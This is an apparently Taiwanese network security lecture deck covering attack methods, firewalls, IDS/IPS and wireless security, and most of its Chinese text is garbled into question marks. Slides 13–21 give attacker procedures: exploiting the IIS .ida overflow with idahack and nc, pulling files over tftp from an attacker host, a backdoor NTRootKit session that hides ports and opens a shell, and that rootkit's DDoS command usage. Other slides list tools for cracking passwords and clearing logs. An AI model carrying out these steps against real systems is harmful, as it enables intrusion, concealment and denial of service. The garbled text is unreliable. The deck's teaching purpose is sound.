Agenda ????

1
??????
2
Agenda ????

• ??????
• ??? IDS,IPS
• ????????
• ??????
• QA

3
??????

• ???????
• ?????(Worm)??
• ??????????
• IP Spoofing(IP??)
• DOS,DDOS(????)
• ????????
• ????????
• ????

4
??????(1)

• Virus Worm ??
• CodeRed,Nimda, SQL Slammer
• Blaster
• Backdoor Trojan
• ????popup??
• ????
• peep.exe peepbrowser.exe
• win.ini?system.ini??????registry

5
??????(2)

• IP spoofingIP????
• mendas
• ipspoof
• hunt
• DOS DDOS ??????
• SYN Flood

6
DDOS?????
7
????????

• ????
• ????
• ????
• ??????
• ????

• ????
• ????
• ?????????
• ????

8
1.?????????????

• ????
• Whois
• InterNIC
• TWNIC(http//www.twnic.net/)
• NetworkSolutions
• ????
• DNS zone transfer
• nslookup
• traceroute or tracert

9
2.???? Tools

• Ping
• Nmap
• SuperScan
• Advanced ip scanner
• Advanced port scanner
• Icmpenum
• NetScan Tool Pro 2000
• Netcat
• Strobe

10
3.????

• ???????
• Net view, nbtstat, nbtscan, nltest, Legion,
• ????????
• nbtscan
• nbtstat, enum
• ??????
• telnet,vnc,terminal service,pcanywhere

11
??????

• ???????????
• ?????????
• ??????????(banner grabbing)
• ??????????? (OS guessing)
• DNS????
• Windows ???NetBIOS???DC
• Windows????,?user?group???????????

12
4.??????????

• ????
• ??????
• NTIS(????)
• administrator, adm , test.
• ?????
• SMBCrack
• Legion, NetBIOS Audition Tool,
• ????
• cain
• ?????(Buffer Overflow)??
• IIS

13
?????(Buffer Overflow)??

• IIS ida???????
• ??tftpd32, idahack, nc, whoami
• ??
• Start tftpd32
• ??????????,????idahack????
• ?? idahack ?????IP ??????IIS port ?????OS
  version?? ??????port
• Nc ?????IP ?idahack????port
• Ipconfig /all / ?????? /
• Cd \
• Tftp I ????HOST ?IP get whoami.exe
• Whoami / ?????????? /

14
5. ????

• ????
• ????
• ???????
• Tools pwdump2, L0phtCrack, John
• ???????????
• getadmin, Sechole
• ??????
• Keylogger
• To find Protected Storage Service
• including passwords for e-mail accounts in
  Microsoft Outlook, Microsoft Outlook Express, MSN
  Messenger, saved Internet Explorer form data .
• Protected Storage Explorer
• Protected storage passview

15
6.????

• ????
• ????
• ????
• ????
• ???????????

16
7.????

• ?????
• HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion,
• \Run, \RunOnce, \RunOnceEx, \RunServices
• ????
• Telnet service
• VNC,Terminal services,pcanywhere

17
8.?????????

• ????
• ????
• Elsave, ClearLogs, ClearIIsLog
• ????
• Attrib
• ???NTFS file streamingsfind
• Win2k??,WinXP,Win2003???
• LNS List NTFS Streams
• ??rootkit

18
??rootkit

• ToolNTRootKit
• ?????????port,?????,netstat an ????
• ???DDOS??

19
NTRootKit ????

• Victim202.132.10.1
• Attracker131.107.100.10
• ???????(Victim)??ntrootkit
• ???????? nc 202.132.10.1 445
• !!!PASSWORD yyt_hac111
• ????Welcome to yyt_hac's ntrootkit Server 1.22
  version,use '?' command to get command list
• CMDgt?
• CMDgtgetsysinfo
• CMDgthidetcpport 135 ?? TCP port 135
• CMDgthideudpport 135 ?? UDP port 135
• CMDgtopenshell
• C\gtdir
• C\gtexit
• CMDgtexit
• ???? exit successfully

20
????check

• Netstat an
• ??fport?Active port
• ?TCP?UDP 135????
• ????????Taskinfo
• ?????ntrootkit??
• ??????,????????????

21
??ntrootkit ??DDOS??

• usagertclient destip -p password -t proto
  -o port -y icmp_type -d icmp_code -m MTU
  -c Command
• destip-------------The computer you want to
  connect
• password-----------The ntrootkit's password
• proto--------------The proto that ntrootkit will
  use(0userdefined,1icmp,2udp,3tcp)
• port---------------The dest udp or tcp port which
  send packet to(default is 445
• MTU----------------The MAX packet size the
  ntrootkit will use to send packet
• icmp_type----------The icmp packet type which
  send to server,default is ICMP_ECHO REPLY
• icmp_code----------The icmp packet code which
  send to server,default is 0
• Command------------The command which you want the
  server to do
• The DDos command usageDDOS DDos_Destip
  DDos_Destport DDos_type DDos_seconds
  DDos_ProcCount
• DDos_Destip--------The computer you want to DDos
• DDos_Destport------The Destport you want to
  DDos(default is 445)
• DDos_type----------The DDos type you want to
  use(0ping flood,1udp flood,2synflood,3mstream
  flood,default is 0)
• DDos_seconds-------The seconds you want to DDos
  the dest(default is 150s)
• DDos_ProcCount-----The process count which the
  server use to ddos(default is 10)
• Example

22
9.????

• ????
• SYN Flood
• IP Spoofing
• DDOS
• ????
• Tools
• Ping of death?land?teardrop?mailbomb?spam mail

23
????

• ??????
• ??????
• ????????
• ???????
• ??????
• ???????????????
• ?????? - ???????

24
??????

• ?????????
• ????
• ?????
• ????
• ????
• ??????
• ????

25
??????

• ????????????
• ??????????
• iptables
• ????????
• Windows update
• apt-yum
• up2date

26
????????

• ????(Data Encryption)
• DES,3DES,RSA
• ??(Authentication)
• .htaccess
• CGI??
• ??(Auditing)
• EX. TCPWRAPPER,SSH,SSL,KERBEROS, PEM (Privacy
  Enhanced Mail) ,VPN

27
??????

• ????????
• ??/????
• ???
• ??????-IDS
• ??????-IPS

28
???????

• syslog
• ????
• port scan
• ??/??????
• Ad-Aware SE Personal
• ?????????????????????????????????????????????????
  ,?????????????????????????? cookie
• ??????????

29
???????????????

1. ??cmd.exe,?????netstat -an -p tcp?????????????????
   
2. ???????(Registry)??HKEY_LOCAL_MACHINE\SOFTWARE\Mi
   crosoft\Windows\Current Version\Run??????? ?
3. ?????????(?????C\WINNT\SYSTEM32\)?????????? ?
4. ????????????????

30
Why???

• ??????
• ????????
• ???????

31
Firewall ??

• ???????-Packet filtering Firewall
• ???
• ???
• Cost ?
• ????????-Proxy Firewall
• ????????-Stateful Inspection Firewall

32
Firewall ??

• ???????-Packet filtering Firewall
• ????????-Proxy Firewall
• ???
• ???
• ???
• ????????-Stateful Inspection Firewall

33
Firewall ??

• ???????-Packet filtering Firewall
• ????????-Proxy Firewall
• ????????-Stateful Inspection Firewall
• ????
• ???????????
• ????
• ????????

34
?????

• Routing-????
• NAT-????????
• ??IP Address
• ?? Private IP
• Transparent-????
• ??
• ????????

35
???????

• ????
• ????????
• ??????
• ?????
• ????
• ????

36
???????

• ????
• ????
• ??Server IP ???????
• Server Location
• ????
• ????

37
???????

• ????
• ????
• ????
• ??policy
• ??????

38
Security Policy

• ???????
• ????????????
• Policy?????
• Policy Loading Match????

39
???????

• Radius,Kerberos???
• ??????(VPN)
• ?????????
• ?????????

40
??Firewall?????

• ???????? ?
• ??? ?
• ???? ?
• ???? ?
• ??????? ?
• ??? ?
• ??????? ?
• ??????????? ?

41
??????

• ????????
• ?????????????
• ????????????
• ?????????????????????
• ????????????????

42
???????????

• ????-????
• ???(host-based, HIDS)
• ???(network-based, NIDS)
• ????
• ????

43
???????????

• ????(????)
• ????
• Signature-Base Detection
• Protocol-Anomaly Detection
• ????

44
???????????

• ????(????)
• ????
• ????
• Action
• report

45
IDS IPS

• ????????--????
• ????????--??
• ????--?????(????)
• ????????????

46
????????

• ????pc???
• ????log
• Firewall log auditin
• ??????
• Sniffer,netxray,??????
• ????????
• worm,virus,.etc.
• Network looping

47
??????

• ????????
• ?????(Authentication)
• ????(Confidentiality)
• ??????(Interity)
• ?????
• ????

48
??????

• ?????-SSID
• ??????
• ??????
• ????
• WEP(wired equivalent privacy)
• ???????

49
???????????

• ???????
• ????
• Snmp string
• ??SSID
• ???????
• ??????
• ??????
• ???????
• 802.1X?????

50
???????????

• ?????
• ??????
• ????
• SSL,SSH
• ?????
• MAIL,DNS,WWW,FTP,NAT,MYSQL,
• Openwebmail,Samba,proxyetc

51
Reference

1. ???????, ??? ,??